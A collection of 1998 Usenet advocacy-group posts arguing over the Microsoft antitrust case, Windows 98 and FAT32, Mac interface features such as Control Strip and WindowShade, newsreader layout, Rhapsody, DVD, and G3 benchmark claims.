subscribed (or unsubscribed - use a tabbed panel) groups on the left and a
message listing on the right. Messages open in their own window which is
appropriate since they should be treatable as a document that can be
saved, etc. - basically treated as any other document. Not true for either
a listing of newsgroups or a listing of one's contents.
I'd wouldn't mind messages being in a pane, like MailViewer.app or
Communicator, except that such a configuration is very demanding of
monitor space - which isn't very friendly for laptop users.
-Bob Cassidy
Date: Wed, 06 May 1998 08:12:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-0605980812110001@wil124.dol.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net>
In article <6iooms$clv$1@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
> >John Saunders <jws@jws.ultranet.com> wrote:
> >
> >->Would the vendors of USB peripherals be hurt if there is no mainstream
> >->operating system that supports USB?
> >
> >Umm, Windows95 supports USB (as does Linux...)
> >
> I don't think so... Please provide confirmation of this. USB is being talked
> up as new in Windows 98. Maybe you mean that OSR2 supports USB?
That's correct.
>
> >->Would consumers who want to upgrade their existing systems by adding
> large
> >->hard disks be impacted by the lack of FAT32 support in Win95-retail?
> >
> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
>
>
> Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
> FAT32 (with no convert utility), but my old Gateway 486 does not. If I want
> FAT32 on my Gateway system (and if I'm not a thief), then I need Windows 98.
Absolutely true.
But have you ever wondered why only OEMs can get OSR 2.1 which supports
FAT-32? Perhaps an "encouragement" to get you to ugrade your hardware?
> If "DOJ and the State Extortionists General have their way" is true, then
Actually, it's the industry which is extorting from you. You want FAT-32?
You've got to buy new hardware--even though the current Win95 OEM release
supports it. There's really not that much other difference between Win98
and Win95 OSR2.1.
>
> Windows 98 will be tied up in the courts for a year or two, thus
>
> Companies other than Microsoft will be hurt
>
> Did I skip any steps?
Yes. The Attorney Generals have reason to believe that MS broke the law.
They are doing their jobs.
>
>
> An old principal of free speech applies here as well.
>
> Freedom of speech is intended to protect those we most hate. In the process,
> it protects the rest of us.
>
> If we allow the states to arbitrarily harrass any company they want to, then
> pretty soon they'll be harrassing you.
Except that the states aren't "arbitrarily harrassing any company they
want to". They have reason to believe the law is being broken.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 06 May 1998 08:07:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-0605980807060001@wil124.dol.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net>
In article <6iomt3$bac$2@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Nathan,
>
> When you become God, I'll be glad to trust you to see the long-term costs
> and benefits.
>
> Until then, I'm stuck needing to trust Congress and our state Attourneys
> General. And they constantly prove they can't be trusted to do anything
> complicated.
Agreed. But neither can Microsoft. Fortunately, that's not the issue.
>
> So when it comes to a situation where someone claims they've looked at all
> the potential problems, but they're still going to do so and such a thing
> for "my own good", I'm more than just skeptical. I react like someone who
> knows they're being lied to. Which is often the case.
But I don't see anyone claiming to do this for your own good. The claim is
that they're enforcing the laws. The consequences are not their concern.
Nor should they be.
In our system, the lawmakers write the laws. THEY are responsible for
writing good laws.
The executive branch is supposed to _enforce_ the laws without worrying
about whether they're good laws or not. In fact, the Executive branch is
specifically NOT supposed to selectively enforce the laws. It should be
even handed regardless of how big or wealthy the defendant is.
It's not a perfect system, but it has worked for a long, long time.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 06 May 1998 08:45:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Message-ID: <joe.ragosta-0605980845290001@wil124.dol.net>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354F400E.90F@stud.uni-erlangen.de> <3550A611.2949@zvw._REMOVE_THIS_de>
In article <3550A611.2949@zvw._REMOVE_THIS_de>,
ramagnus@zvw._REMOVE_THIS_de wrote:
> Matthias Bethke wrote:
>
> > So what? If you want games, stability is not an issue and Winblows 95 is
> > pretty good at loading games :)
>
> So you think Microsoft makes win95 only for games?
Sure.
Unless all this time I spend troubleshooting and reinstalling isn't a game????
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 08:56:37 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-0605980856380001@pelli.pathology.pitt.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca> <pxpst2-0505981117510001@pelli.pathology.pitt.edu> <6ioon0$clv$2@ligarius.ultra.net>
Mail-Copies-To: pxpst2@unixs.cis.pitt.edu
In article <6ioon0$clv$2@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Peter wrote in message ...
> >In article <6imk6v$td8@ds2.acs.ucalgary.ca>, bhoang@acs3.acs.ucalgary.ca
> >(Bich Hoang) wrote:
> >
> >> : Now, MS claims it is not a monopoly, yet, delaying one of its products
> >> : has the "potential" to hurt business for roughly 2.2 MILLION+ people?
> >>
> >> Well, It could hurt Business but not so much with homeholds.
> >> Compaq, Dell and IBM could be hurt by the delay of Windows 98.
> >> Why?
> >
> >Because these guys have decided to market vaporware on a promise that the
> >product will be delivered. IMHO, this guys fucked themselves. As to the
> >point of hurting business, what CRAP. The only businesses that are hurt
>
> >are the one s marketing it befroe its release.
>
> Peter, should they have waited until after the release before talking about
> it? Before marketing it? Before spending money to develop promotions?
Yes and No.
Marketing it to the masses is fine as long as they do not promise to
products being sold now. If I were to promise that on some specific date
that I would give you this piece of software if you order a computer now,
and then was not able to deliver. Then I would be false advertising. I
would also be subject to law suites.
Even if these companies lose money, So what. The lion's share of the
economy will function just fine w/o Win98. The DOW has reached record
levels w/o win98 and many ogf these companies that are bitching about
losing money are selling at multiples theat Boggle the mind(P/E>30). So a
little devalutation of their stocks would be good for the economy. But
this is another discusion altogether.
BTW, last night on Moneyline I saw Compaq CEO Pieffer and he could not
clearly state why the economy will suffer. He just babbled about
periphirals and how all these companies have been waiting for Win98 to
release product. What a crock. I am not aware of any devices that will
work in Win98 that can not work in Win95. Maybe you could point out a
few?
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 04:28:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1759745-221A2@206.165.43.102>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.next.advocacy
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Content-Transfer-Encoding: 7bit
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>> It is generally easier to mouse a control than type one.
>
>Oh yeah? For volume/up down, I can more or less instantaneously hit
>something like PgUp/PgDown or Home/End or a couple of function keys.
>Much faster than I can mouse down to a control strip, select a new volume
>or mute it, then move back.
>
Actually, some research suggests that when one uses keyboard controls of
any kind, it generally takes longer than using mouse-driven controls.
This may not apply to the control strip because Fitz' Law (?) works
differently for a floating tab then for a menu bar, but without objective
numbers, I'm willing to bet even money that it is just as fast, if not
faster, to use the control strip.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Wed, 06 May 1998 08:53:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Message-ID: <joe.ragosta-0605980853080001@wil124.dol.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6in3ed$825$1@news.cmc.net> <6imm78$nkm$3@ns3.vrx.net> <EsI7zE.9nA@basil.icce.dev.rug.null.nl> <6iom3u$80r$1@news.digifix.com> <354F87E7.743F@earthlink.net>
In article <354F87E7.743F@earthlink.net>, skellener@earthlink.net wrote:
> Scott Anguish wrote:
> > I can't stand having multiple windows littering my
> > news-reading activity.
>
> Ahhhh.... voice of reason.... ;-)
I think this one falls into the category of pure preference. I hate panes.
It drives me batty every time I have to use a paned newsreader.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "M. Kilgore" <mkilgore@nospam.prysm.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 08:48:54 -0500
Message-ID: <6ippm0$4lb$1@news0-alterdial.uu.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net><6imcmk$oj1$3@ligarius.ultra.net><01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM><6ioone$clv$5@ligarius.ultra.net> <slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net>
Gary J. Hicken wrote in message ...
:On Wed, 6 May 1998 00:19:16 -0400, John Saunders <jws@jws.ultranet.com>
wrote:
:>
:>You can't (legally) buy OSR2 for an existing machine. If you have an
:>existing machine and you want some of these features, then you need
Windows
:>98. I agree that if you buy a new machine you may have little use for
:>Windows 98.
:
:I wonder if the DOJ happens to read this stuff. This sure doesn't help M$.
Actually, to buy a legal copy of OSR2 all one need do is by a new hard
drive at the same time. I think the intent of MS was to avoid a potential
service nightmare as those who didn't really understand what they were
doing tried to convert FAT16 volumes to FAT32. But just because I can think
of a good reason for not putting FAT32 in general distribution doesn't mean
that I enjoyed being locked out of FAT32 because other people would screw
the installation. It's like when my cable company had a price increase... I
asked why since the service had not been improved. The answer I got was
"Well, you'd be suprised how many times we have to go out and tune our
customers' tv sets for them." BULLSHIT!
mark
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 08:51:42 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ip8au$oum$10@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM>
<6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu>
<6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rmcassid@uci.edu
In <rmcassid-0505981451530001@dante.eng.uci.edu> Robert Cassidy claimed:
> message listing on the right. Messages open in their own window which is
> appropriate since they should be treatable as a document that can be
> saved, etc. - basically treated as any other document. Not true for either
> a listing of newsgroups or a listing of one's contents.
Although I agree in concept it becomes blurry when you consider offline
use, in which the message lists are indeed stored locally. I also don't like
panes simply because the divider spends most of it's time in the wrong place.
> I'd wouldn't mind messages being in a pane, like MailViewer.app or
> Communicator, except that such a configuration is very demanding of
> monitor space - which isn't very friendly for laptop users.
I hate it. You end up playing divider war.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 08:56:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ip8jm$oum$11@ns3.vrx.net>
References: <6imkv7$nkm$1@ns3.vrx.net> <6inj0j$bit$1@crib.bevc.blacksburg.va.us>
<6in9lt$3of$6@ns3.vrx.net> <6io47l$hqj$1@new-news.cc.brandeis.edu>
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Cc: xray@cs.brandeis.edu
In <6io47l$hqj$1@new-news.cc.brandeis.edu> Nathan G. Raymond claimed:
> Wasn't that Apple's Powertalk? The ill-fated proprietary email that was
> part of the OS, that came with System 7 Pro, and later was gradually
> phased out?
PowerTalk didn't fail because of it's interface, it failed because it was
HUGE (some 2 meg RAM in the days of 4 meg computers) and SLOW. In addition
the server side was seriously lacking, and Apple, sniffing a buck, didn't let
other people do much other than gateways.
Good idea, some good tech, horrid implementation. That can kill any
product.
> In interviews Woz likes to moan about its loss, and how he
> hacked it to work with later OS releases.
Woz? I don't think so, he was long gone by that point and had nothing to
do with the project (as least as far as I am aware).
> Finder/Browser does make sense,
Not IN the finder/browser, but LIKE the finder/browser.
> The new filesystem in Rhapsody has an API for adding custom file
> attributes
It does?!?!
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 6 May 1998 09:02:46 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ip8vm$oum$12@ns3.vrx.net>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu>
<6iofql$ake@bgtnsc01.worldnet.att.net>
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In <6iofql$ake@bgtnsc01.worldnet.att.net> Peter Koren claimed:
> It is no fetish. Much of the software that I want to run has
> been programmed for X. While I would much rather have it
> available under OpenStep/Rhapsody, I have no choice in the
> matter.
Uhhh, why not just run an X under Rhapsody?
> If Apple allows me to run a fully supported version of Linux
> and Rhapsody together, my next computer will be a Mac. This
> move would bring, IMHO, a swarm of new customers to Apple
> from the Linux camp.
I'm HOPING this is true, but I'd like your take on this - do people run
Linux because it's free and "not MS", or because it's it's a good and
compatible Unix?
> It would light a fire in the GnuStep
> community so that Apple would get the benefit of many more
> talented people programming the OpenStep way.
Again one can hope. I would like nothing better than a good GNUstep to
sweep up the people that won't buy Rhapsody for whatever reason. That means
maybe they too can buy my software :-)
> Apple has a chance to win big one this one. I hope that they
> see it that way.
_I_ think they do, but in the meantime all we can do is hope.
Maury
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 14:11:29 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ipr2h$rtj@shelob.afs.com>
References: <6ioon5$clv$3@ligarius.ultra.net>
"John Saunders" <jws@jws.ultranet.com> writes
> I'm going to point out to you that you just fell into the trap the
> States laid for you. Because you hate the Tobacco companies, you're
> willing to allow the states to act the way they did, ganging up on a
> set of companies to extort money from them. Now, it seems you're
> willing to do the same to Microsoft. Where do you draw the line?
> Can the states harrass, extort from, or destroy anyone the public
> hates? Be careful you don't wind up on the wrong end of that gun.
You've been smoking something other than tobacco if you honestly believe
that is the crux of the States' argument. It's not a question of public
*hatred*, it's a question of reclaiming money that health and welfare
agencies paid to care for people who were misled since adolescence --
according to tobacco companies' own suppressed internal documents --
into believing that smoking was not addictive, and not harmful to their
health. Until now, YOU and I -- the TAXPAYERS, John -- have been duped
into paying for those people's care. I for one am grateful to be getting
money back from an industry that cynically figured they could pawn off
the cost of the long-term effects of their products. You may have noticed
that private insurers like Blue Cross are now pursuing the same line of
argument. Do you have a quarrel with that?
Now if only we could get Microsoft to reimburse the States for the lost
productivity of office workers forced to migrate to Windows... imagine
the additional tax savings. 8^)
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: greg@sherrill.kiva.net (Gregory Travis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 09:27:38 -0500
Organization: Kiva Networking
Message-ID: <6ips0q$7u6$1@sherrill.kiva.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net>
In article <6ioone$clv$5@ligarius.ultra.net>,
John Saunders <jws@jws.ultranet.com> wrote:
>You can't (legally) buy OSR2 for an existing machine. If you have an
>existing machine and you want some of these features, then you need Windows
>98. I agree that if you buy a new machine you may have little use for
>Windows 98.
One of the problems with FAT32 is that it has a negative ROI due to the
fact that it's bundled with Windows98.
Microsoft is claiming that FAT32 will reclaim an average of 30% free space
on your hard drive. If you have a typical 2GB hard drive, and it's full,
installing FAT32 will "buy" you 600MB of new space.
I have in front of me a current microWarehouse catalog. The cheapest disk
drive that I can find is a 1.7GB Seagate Medalist. A more reasonable
purchase, however, might be the 3.2GB version of the drive at $179.95.
So, you can pay $100.00 for Windows98 in order to get FAT32 and the
extra 600MB it will enable. The cost per megabyte to you of going
that route is 16 cents.
Or, you can pay $179.95 for a new drive and the extra 3200MB it
will enable (and keep Windows95). The cost per megabyte to you of
going that route is 5 cents.
Another way to look at it is this way: If Microsoft were truely as
innovative, and as dedicated to reducing computer ownership costs,
as they claim then Windows software would be performance-competitive with
the hardware vendors. At 5 cents/megabyte, Windows98 should cost
$30.00, not $100.00.
Do you still need Windows98?
greg
--
greg travis "The coffee shop piano plays toe-tapping jazz,
greg@littlebear.com thanks to its Windows operating system."
http://www.prime-mover.org/ --- Microsoft, in "The Future is Today"
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 06 May 1998 09:27:03 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35507337.41915A22@nstar.net>
References: <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172> <6iolmn$7sm$1@news.digifix.com>
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Scott Anguish wrote:
> Largely because there is a huge base of discontented Windows
> users, and no shortage of unhappy Mac users...
If I were to guess at the random opinions of some sample of
businesspeople, salespeople, and investors, I would have to say they'd
say "show me the money", i.e. chase happy users who for known reasons
like your product, instead of chasing unhappy users who for some unknown
reasons hate your competitor's product.
But I could be wrong. Maybe it's more profitable to chase malcontents
than to keep happy customers.
MJP
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 14:36:22 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6ipsh6$987$1@new-news.cc.brandeis.edu>
References: <6imb64$bj7$1@news.digifix.com> <MPG.fb8d106bd4d200e9898d7@news.supernews.com> <354fed39.0@news.camtech.net.au>
In article <354fed39.0@news.camtech.net.au> "timothyp@tne.net.au" <timothyp@tne.net.au> writes:
>In article <MPG.fb8d106bd4d200e9898d7@news.supernews.com> , don.brown@cesoft.com
>(Donald Brown) wrote:
>
>>In article <6imb64$bj7$1@news.digifix.com>, sanguish@digifix.com says...
>>> Control Strip is a horrible little UI tack-on... as is
>>> WindowShade, MenuClock, Tabbed Windows and other items that aren't
>>> cohesive parts of the User Experience..
>>>
>>IYHO, of course. I'm very fond of Control Strip and Menu Clock, and
>>WindowShade when there is that box in the title bar to handle it. IMHO,
>>of course.
>>
>>Donald
>
>
>The windowshade feature has to be apple's lamest idea ever. It was half-arsed
>to say the least.
It was a shareware program that Apple bought and integrated into the
MacOS. There are shareware programs (that probably don't work anymore)
that used a custom window definition to iconify windows, but it wasn't
implimented terribly well (windows would iconify relative to the window
postion, moving that icon would actually move the expanded window postion
as well).
I would agree that it's lame except for the collapse-all feature if you
know to option click (which I discovered by accident), and the
command-drag windows in the background without bringing them forward.
Though a bit more visually cluttered, I'm able to do more than I can do in
X, and certainly more than I do in that stupid bar in Windows.
>Having rolled-up windows all over the screen is a pain inthe
>ass. A better Idea would have been to have the windows iconify like X-window
>allows (not sure how NeXT does it).
Pretty much the same, but they all clutter the screen. I don't know how
many windows you work with at once, but between all apps, I have at least
40+ windows open at any given time, and this doesn't work with icons, and
defintely doesn't work in Windows where every window is a peer! At least
with the Mac's app menu (which NEEDS updating, there was a control panel
called ApplWindows which made that menu hierarchical placing individual
windows as sub-menus of each app, and combined with a multi-button mouse
that could be assigned to a button or chorded button press for rapid
access, obviating the need for any other metaphor). LitesWitch helps on
the Mac, as does Kensington's Instant Application menu (which DOESN'T have
Hide [foreground], Hide Others, Show All, unfortunately, whereas
LiteSwitch, which is free, has hiding and quitting of multiple apps at
once from its on-screen switcher with command-tab).
Window collapsing is not perfect, but throw some other add-ons into the
mix and its the most usable with any significant number of applications
and windows to manage.
>The windows implementation is even better
>than Apple's and that's saying something.
In what way? I had to expand that stupid bar up four lines before I could
get all my windows shown as buttons. Eventually, I pretty much gave up on
it all together. And forget about trying to manage multiple instances of
the same application with that thing. Consider that each browser window
will be a peer, even though it may belong to one instance of the
application. Launch another instance, and how do you know which window
belongs to what?
>I hope Apple does something about
>this in Rhapsody, or someone else does at least.
Right now ALL operating systems suck pretty hard with application/window
metaphors. Throw in third-party solutions, and its better, but that
certainly isn't consistent for end-users if its not out of the box
functionality. There really needs to be some serious studies done in UI.
If you've read Apple's internal docs that leaked about proposed UI
advancements in Rhapsody way back when, they have some interesting ideas
in the pipe. Apple's keeping a close eye on the UI issues, which is so
much more than other companies do.
I ponder: HOW can so many people stand by why people talk about the
efficacy of "browser in the OS"? It's NOT about a browser! Nobody should
even say the word. It's about the process of commandeering an open
standard and implimenting it in a closed way using the open standard as a
guise and ruse for empowering end-users. People should all be asking, why
isn't Microsoft implenting a plug-in architecture not just for SGML/HTML
content, but for any future open standards content in such a way that
third parties will be able to supply us with their solutions and we won't
be tied to a single vendor for content display? And why is Microsoft
focussing on integrating their own exclusive "solution" for popular
technology in an inequitable way while simultaneously drumming down and
remainging mum on what this new release will do for my bottom line, how it
will make my day-to-day activities more productive, outside of the bug
fixes that should be provided free anyway? The short answer to all that
is, of course, that few actually know the right questions, and when they
ask their wrong questions, they will get the wrong answer.
--
Nathan Raymond
http://www.everythingmac.com
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: 6 May 1998 15:08:20 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6ipud4$9sq$1@new-news.cc.brandeis.edu>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com> <01bd77d6$6320c2c0$04387880@test1> <354F8D13.EE@earthlink.net>
In article <354F8D13.EE@earthlink.net> skellener@earthlink.net writes:
>Todd Heberlein wrote:
>> I have been really looking forward to this. Combine this with the recent
>> release of QuickTime 3, the distribution of Avid Technology's Avid Cinema
>> with AIO Macs, and the growing popularity of low-cost writeable CD players
>> and Apple really is in great position to drive multimedia content creation.
>
>Well, DVD is soon going to be the format of choice and there's only ONE
>DVD player available for G3's only (not even made by Apple). Whatever
>happened to Apple being the FIRST company to ship computers with DVD's?
>They are now DEAD LAST!!
>
>Come on Apple! Get on with it!
It's bad image, but its not impractical not to have DVD.
And since DVD mechanisms are only available in EIDE format, that limits
things. SCSI is coming soon.
DVD is an evolving format, with the idustry recently splitting into two
giant camps promoting two physically different rewritable formats.
The music industry introduced CDs at a high price point since yield and
demand was initially low, then as manufacturing improved they dropped the
price a bit but still placed it higher than vinyl. At the same time,
whereas it had been customary for the music industry to buy back unsold
vinyl and tape from stores, they changed that policy at the time of the CD
price drop and no longer bought back vinyl, which caused stores to reduce
vinyl purchasing, dwindling supply. These two factors spurred sales of
CDs, while the music industry maliciously kept the same percentage deal
with the musicians that they had with lower priced vinyl albums, pocketing
the extra cash. To this day, even as CD prices are going UP while cost of
production goes DOWN to well below a dollar, the musicians don't get that
extra money, the music industry does.
DVD was created to accomplish the same thing in the video and audio
markets - with video tape prices falling, and laserdisc limited to
videophiles, and high degrees of piracy in places like China, the industry
needed a way to introduce a format at a higher price point that would
simultaneously inhibit copying through encryption, and the music industry
has decided they need a new, even higher priced audio format. The movie
industry even recently tried to create and sell DVD players that would
make you pay each time you watched a movie you'd bought, but there was
strong backlash. The music industry has not even solidified an audio
format, but rest assured they will try and push it the same way they
pushed CDs, but at an even higher price point. There aren't even any
solified plans to employ a comprehensive soundfield reproduction format
like Ambisonics <http://www.omg.unb.ca/~mleese/faq_latest.html>, instead
relying on simplistic multi-channel lossy-audio formats like AC-3 or DTS.
It's all a mess, and a pretty big farce if you ask me.
Personally I couldn't care less if Apple doesn't have DVD right now, but
of course Joe Public doesn't realize what's actually going on so he
probably does care.
--
Nathan Raymond
http://www.everythingmac.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 15:00:36 GMT
Organization: P & L Systems
Message-ID: <6iptuk$4f3$3@ironhorse.plsys.co.uk>
References: <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172>
<6iolmn$7sm$1@news.digifix.com> <joe.ragosta-0605980738140001@wil124.dol.net>
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In <joe.ragosta-0605980738140001@wil124.dol.net> Joe Ragosta wrote:
> I missed your [Scott's] complaints about Control Strip.
> What specifically don't you like?
>
Scott doubtless has his own views -- personally I just dislike it because it
clutters up the screen and detracts from the overall consistency of the UI.
> Remember that CS only takes a tiny corner of the screen when you're not
> using it. OR, if you don't like it at all, you can turn it off. That seems
> like it should remove most complaints.
>
That seems fair -- how do you switch it off?
Best wishes,
mmalc.
From: pomart@cartoon.ecn.purdue.edu (Your Name)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 6 May 1998 15:05:25 GMT
Organization: Purdue University
Message-ID: <6ipu7l$1ui@mozo.cc.purdue.edu>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com>
In some tasks the G3 is indeed twice as fast as the PII, and that is
exactly what the ad says. The RGB-CMYK task takes 53 s for the G3 at 300Mhz
and 100s for the PII at 400Mhz. We already know the rest of the story that
you are telling us, so you are very much redondant, which is OK
I guess :)
macghod@concentric.net writes:
>if millions of p2 users sell their machines to buy g3's, I say great.
>Its only when die hard mac users actually believe the marketing that gets to
>me.
>First of all, yes the g3 is faster than a p2. MOST photoshop functions show
>the mac to be about %25 faster (g3 266 versus p2 300), a very small ammount
>show the p2 to be faster, and quake probably shows the p2 to be faster. But
>on average, a g3 266 is probably about %20 - %30 faster than a p2 300.
>What is the problem with Apples claims? Up untill a couple of weeks ago, if
>you went to bytes page, the executable you download was compiled with
>codewarrior. This gave a score of 5.56 for int, 4.65 for fp. IF you used
>codewarrior 1 and compiled it yourself with no optimizations, you got even
>lower, 4.66 int, 3.54 fp. Note this was still faster than a p2 300. So a
>fair byte shows g3's are faster, tho not by what apple claims.
>Like I said, these were the binaries that were up till a couple of weeks ago.
> For a couple of months, even macadvocates have states that Apple's claims
>are preety much fabrications, people with g3's were running the byte test and
>getting a score of 5 or 6 rather than 9. So oddly enough, the binaries are
>removed, and the binary apple used is now on the byte page. And the byte faq
>says the same binaries have been used for the last 2 years, yet the ppc
>binaries were JUST changed, instead of codewarrior and something else (I
>forget) its now motorola 3.0 developer release??
